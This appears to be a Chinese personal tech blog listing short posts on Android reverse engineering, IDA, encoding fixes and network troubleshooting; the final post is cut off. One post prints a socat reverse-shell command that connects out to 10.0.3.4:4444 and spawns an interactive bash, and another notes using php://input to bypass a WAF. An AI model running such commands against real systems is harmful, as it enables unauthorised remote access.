安卓使用magisk修改ro.debuggable
2024-01-28 44 字 1 分钟

安卓使用magisk修改ro.debuggable

1234567adb shell #adb进入命令行模式su #切换至超级用户magisk resetprop ro.debuggable 1stop;start; #一定要通过该方式重启 来源：https://www.cnblogs.com/xiaoweigege/p/15726711.html
ida pro出现 No module named imp的解决方法
2024-01-27 72 字 1 分钟

ida pro出现 No module named imp的解决方法

原因：python3.12删除了imp这个模块。解决方法：需要让IDA选择3.12之前的python如3.11版本，因此，从官网安装旧版本python然后运行 IDA 安装目录下的 idapyswitch.exe ，选择使用的正确版本 python 解释器即可。
使用sdbg执行smali简单片段解混淆
2024-01-27 596 字 4 分钟

使用sdbg执行smali简单片段解混淆

https://github.com/CalebFenton/simplify/releases/download/v1.3.0/sdbg-0.1.0.jar 1"C:\Program Files\Java\jre-1.8\bin\java.exe" -jar sdbg-0.1.0.jar smali "Lu/ad;->c()V" 其中smali为文件夹名称。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152
powershell批量修改文件编码
2024-01-21 103 字 1 分钟

powershell批量修改文件编码

12345gci . -recurse -filter *.c| % { $MyFile = gc -raw -Encoding utf8 $_.Fullname $MyPath = $_.Fullname [System.IO.File]::WriteAllLines($MyPath, $MyFile, [System.Text.UTF8Encoding]($False))} 需要注意的是这里的 -Encoding utf8这个参数要设置为正确的编码，不然会乱码，除非是带BOM的UTF-8，因为powershell只认BOM的UTF-8,
keil出现 error C100: unprintable character 0xEF skipped
2024-01-21 34 字 1 分钟

keil出现 error C100: unprintable character 0xEF skipped

这里的 0xEF是utf-8 bom的控制字节，所以需要把源文件重新保存为utf-8不带bom的即可。
解决python3直接print可以但是重定向报错的问题。
2024-01-17 300 字 2 分钟

解决python3直接print可以但是重定向报错的问题。

比如如下代码: 12#test.pyprint(b'\xc2\xa0'.decode()) 1python test.py 没关系 1python test.py > ques.txt 会报错 UnicodeEncodeError: ‘gbk’ codec can’t encode character ‘\xa0’ in position 0: illegal multibyte sequence 之后尝试设置环境变量 1$env:PYTHONIOENCODING="UTF-8" 解决问题了，猜测是终端直接走stdio，编码会使用utf-8,
反弹shell后如何传输文件
2024-01-06 76 字 1 分钟

反弹shell后如何传输文件

首先要确保反弹的shell是全功能交互式tty模式:服务端 1socat file:`tty`,raw,echo=0 tcp-listen:4444 被控端 12socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444export TERM=xterm256-color 之后使用zmodern协议 1apt install lrzsz sz XXX 下载文件 rz xxx 上传文件。
记chrome的hackbar无法post php://input的问题
2023-12-28 149 字 1 分钟

记chrome的hackbar无法post php://input的问题

尽管hackbar支持post请求体，但是当请求体里面没有等于号的时候，无法post出去，这样如果需要使用php://input绕过waf的时候就没法做。在开发人员工具的网络里面可以看到不使用等于号的情况下没有荷载。 之后在这里看到了解决方法，就是使用raw模式https://github.com/0140454/hackbar/issues/8 需要复制修改一大串请求体，不太方便，但也不是不能做。可以先basic模式发送一次然后打开raw模式做。
以一种访问权限不允许的方式做了一个访问套接字的尝试
2023-12-27 127 字 1 分钟

以一种访问权限不允许的方式做了一个访问套接字的尝试

python -m http.server 启动失败原因是端口被占用，但是使用 netstat -ano|findstr 8000 却没发现占用，最后发现是hyper-v占用了，要给容器使用。使用命令 1netsh int ipv4 show dynamicport tcp 可以查看TCP 动态端口范围的情况。 1netsh int ipv4 show excludedportrange protocol=tcp 可以查看TCP 端口范围被hyper-v征用的情况。 12netsh int ipv4 set dynamic tcp start=49152 num=16384netsh int
记一次修复外网无法访问vmware里面的虚拟机的网络端口的问题
2023-12-27 362 字 2 分钟

记一次修复外网无法访问vmware里面的虚拟机的网络端口的问题

发现一个奇怪的网络问题，vmware里一个程序的端口通过vmnat穿透出来，然后这个端口就能够通过局域网被其他机器访问，但是另一个网段就没法访问这个端口。使用主机上的其他程序使用开启同样的端口，另一个网段的机器却可以访问。我想不出有什么原因会导致这个结果。防火墙也关了。 难道vmnat自带防火墙会识别不是同一网段的ip嘛？ 但是奇怪的是，同样是外部网段，10.10网段却可以访问。之后灵光一现，我们校园网无线wifi给设备分配的网段恰好是172.19.0.1/24，而虚拟机里面的docker的bridge网段恰好也是172.19.0.1/24，导致iptable里面把对外面的